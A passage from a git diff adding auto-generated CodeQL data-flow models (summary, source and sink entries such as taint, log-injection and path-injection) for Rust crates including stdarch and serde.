"crate::core_arch::x86::avx512f::_mm512_load_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_pd", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_ps", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_si512", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_pd", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_ps", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_si512", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_pd", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_ps", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_si512", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_pd", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_ps", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_si512", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_load_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_load_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_loadu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_loadu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_store_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_store_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_storeu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_storeu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadl_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadu_si16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadu_si32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadu_si64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_storeu_si16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_storeu_si32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_storeu_si64", "Argument[0]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-intrinsic-test.model.yml b/rust/ql/lib/ext/generated/rust/repo-intrinsic-test.model.yml new file mode 100644 index 00000000000..9ec477ca533 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-intrinsic-test.model.yml @@ -0,0 +1,49 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::intrinsic-test", "::from_c", "Argument[0]", "ReturnValue.Field[crate::argument::Argument::pos]", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::from_c", "Argument[1].Element", "ReturnValue.Field[crate::argument::Argument::name].Reference", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::type_and_name_from_c", "Argument[0].Element", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::to_range", "Argument[self].Field[crate::argument::Constraint::Range(0)].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_rust", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_rust", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_rust", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_rust", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::print_result_c", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::print_result_c", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::c_single_vector_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::c_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::kind", "Argument[self].Reference.Field[crate::types::IntrinsicType::Type::kind]", "ReturnValue", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::populate_random", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::rust_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::intrinsic-test", "::from_c", "Argument[1]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::print_result_c", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::c_scalar_type", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::c_type", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::get_lane_function", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::get_load_function", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::populate_random", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::rust_scalar_type", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::rust_type", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::c_prefix", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::rust_prefix", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "crate::json_parser::get_neon_intrinsics", "Argument[0]", "path-injection", "df-generated"] + - ["repo::intrinsic-test", "crate::values::value_for_array", "Argument[0]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo::intrinsic-test", "crate::json_parser::get_neon_intrinsics", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-std_float.model.yml b/rust/ql/lib/ext/generated/rust/repo-std_float.model.yml new file mode 100644 index 00000000000..8f7ea31908d --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-std_float.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::std_float", "::fract", "Argument[self]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-arm.model.yml b/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-arm.model.yml new file mode 100644 index 00000000000..100d8a968a4 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-arm.model.yml @@ -0,0 +1,93 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::stdarch-gen-arm", "::make_assertion_from_constraint", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::make_assertion_from_constraint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::new", "Argument[0]", "ReturnValue.Field[crate::context::LocalContext::input]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::new", "Argument[1].Field[crate::intrinsic::Intrinsic::signature].Reference", "ReturnValue.Field[crate::context::LocalContext::signature]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::provide_substitution_wildcard", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::provide_type_wildcard", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::provide_type_wildcard", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from", "Argument[0]", "ReturnValue.Field[crate::expression::Expression::FnCall(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from", "Argument[0]", "ReturnValue.Field[crate::expression::Expression::Identifier(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::n_variant_op", "Argument[self].Field[crate::input::InputType::NVariantOp(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::predicate_form", "Argument[self].Field[crate::input::InputType::PredicateForm(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::predicate_form_mut", "Argument[self].Field[crate::input::InputType::PredicateForm(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::typekind", "Argument[self].Field[crate::input::InputType::Type(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::build", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::generate_variant", "Argument[self].Reference.Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::generate_variant", "Argument[self].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::apply_conversions_to_call", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::expression::Expression::FnCall(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_fn_call", "Argument[self].Field[crate::intrinsic::LLVMLink::signature].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::resolve", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::resolve", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::doc_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::drop_argument", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::get_typeset_index", "Argument[self].Reference.Field[crate::intrinsic::Test::Load(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::get_typeset_index", "Argument[self].Reference.Field[crate::intrinsic::Test::Store(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::get", "Argument[self].Field[crate::matching::MatchKindValues::default]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::get", "Argument[self].Field[crate::matching::MatchSizeValues::default]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::has_dont_care", "Argument[self].Field[crate::predicate_forms::PredicationMask::x]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::has_merging", "Argument[self].Field[crate::predicate_forms::PredicationMask::m]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::has_zeroing", "Argument[self].Field[crate::predicate_forms::PredicationMask::z]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::repr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::get_size", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::kind", "Argument[self].Field[crate::typekinds::BaseType::Sized(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::kind", "Argument[self].Field[crate::typekinds::BaseType::Unsized(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::make_vector", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::populate_wildcard", "Argument[0]", "Argument[self].Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::contains", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::repr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::base_type", "Argument[self].Field[crate::typekinds::VectorType::base_type]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::base_type_mut", "Argument[self].Field[crate::typekinds::VectorType::base_type]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::cast_base_type_as", "Argument[0]", "Argument[self].Field[crate::typekinds::VectorType::base_type]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::lanes", "Argument[self].Field[crate::typekinds::VectorType::lanes]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_from_base", "Argument[0].Field[crate::typekinds::BaseType::Sized(1)]", "ReturnValue.Field[crate::typekinds::VectorType::lanes]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_from_base", "Argument[0]", "ReturnValue.Field[crate::typekinds::VectorType::base_type]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_from_base", "Argument[1]", "ReturnValue.Field[crate::typekinds::VectorType::is_scalable]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_from_base", "Argument[2]", "ReturnValue.Field[crate::typekinds::VectorType::tuple_size]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_predicate_from_bitsize", "Argument[0]", "ReturnValue.Field[crate::typekinds::VectorType::base_type].Field[crate::typekinds::BaseType::Sized(1)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::tuple_size", "Argument[self].Field[crate::typekinds::VectorType::tuple_size]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "crate::big_endian::create_let_variable", "Argument[1].Reference", "ReturnValue.Field[crate::expression::Expression::Let(0)].Field[crate::expression::LetVariant::WithType(1)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "crate::big_endian::create_mut_let_variable", "Argument[1].Reference", "ReturnValue.Field[crate::expression::Expression::Let(0)].Field[crate::expression::LetVariant::MutWithType(1)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "crate::fn_suffix::make_neon_suffix", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::is_static_assert", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::requires_unsafe_wrapper", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::requires_unsafe_wrapper", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::generate_variant", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::generate_variants", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::as_mut", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::as_ref", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::as_mut", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::as_ref", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::repr", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::repr", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "crate::fn_suffix::make_neon_suffix", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "crate::fn_suffix::type_to_size", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "crate::load_store_tests::generate_load_store_tests", "Argument[2]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-loongarch.model.yml b/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-loongarch.model.yml new file mode 100644 index 00000000000..b4db99849b5 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-loongarch.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::stdarch-gen-loongarch", "::from", "Argument[0]", "ReturnValue.Field[crate::Lines::lines]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-stdarch-test.model.yml b/rust/ql/lib/ext/generated/rust/repo-stdarch-test.model.yml new file mode 100644 index 00000000000..25fa198710e --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-stdarch-test.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::stdarch-test", "crate::assert", "Argument[1]", "log-injection", "df-generated"] + - ["repo::stdarch-test", "crate::assert", "Argument[2]", "log-injection", "df-generated"] + - ["repo::stdarch-test", "crate::assert_skip_test_ok", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-test", "crate::assert_skip_test_ok", "Argument[1]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-stdarch_examples.model.yml b/rust/ql/lib/ext/generated/rust/repo-stdarch_examples.model.yml new file mode 100644 index 00000000000..3df74c09729 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-stdarch_examples.model.yml @@ -0,0 +1,8 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::stdarch_examples", "::add", "Argument[0]", "Argument[self].Field[crate::List::p_move].Element", "value", "dfc-generated"] + - ["repo::stdarch_examples", "::size", "Argument[self].Field[crate::List::p_size]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-test_helpers.model.yml b/rust/ql/lib/ext/generated/rust/repo-test_helpers.model.yml new file mode 100644 index 00000000000..abd558c419b --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-test_helpers.model.yml @@ -0,0 +1,12 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::test_helpers", "::simplify", "Argument[self].Field[crate::array::ArrayValueTree::shrinker]", "Argument[self].Field[crate::array::ArrayValueTree::last_shrinker].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::test_helpers", "::new", "Argument[0]", "ReturnValue.Field[crate::array::UniformArrayStrategy::strategy]", "value", "dfc-generated"] + - ["repo::test_helpers", "::flush", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo::test_helpers", "::flush", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo::test_helpers", "crate::subnormals::flush", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo::test_helpers", "crate::subnormals::flush_in", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml index 68cd535dce3..0ed861dcd2f 100644 --- a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml +++ b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml @@ -7,6 +7,7 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde", "<&[u8] as crate::__private::de::IdentifierDeserializer>::from", "Argument[self]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "<&[u8] as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "<&crate::__private::de::content::Content as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::__private::de::content::ContentRefDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&mut crate::fmt::Formatter as crate::ser::Serializer>::serialize_unit_variant", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "<&str as crate::__private::de::IdentifierDeserializer>::from", "Argument[self]", "ReturnValue.Field[crate::__private::de::StrDeserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "<&str as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::StrDeserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::BoolDeserializer::value]", "value", "dfc-generated"] @@ -198,6 +199,7 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U128Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U16Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self]", "ReturnValue.Field[crate::de::value::U64Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U64Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U8Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::UsizeDeserializer::value]", "value", "dfc-generated"] @@ -205,3 +207,8 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::size_hint::cautious", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::value::private::map_as_enum", "Argument[0]", "ReturnValue.Field[crate::de::value::private::MapAsEnum::map]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::value::private::unit_only", "Argument[0]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_map", "Argument[0]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml index f60417ee9fb..f905c601f06 100644 --- a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml +++ b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml @@ -7,7 +7,6 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde_derive", "::as_ref", "Argument[self].Field[crate::fragment::Fragment::Block(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::as_ref", "Argument[self].Field[crate::fragment::Fragment::Expr(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::ident]", "value", "dfc-generated"] - - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::ident]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1]", 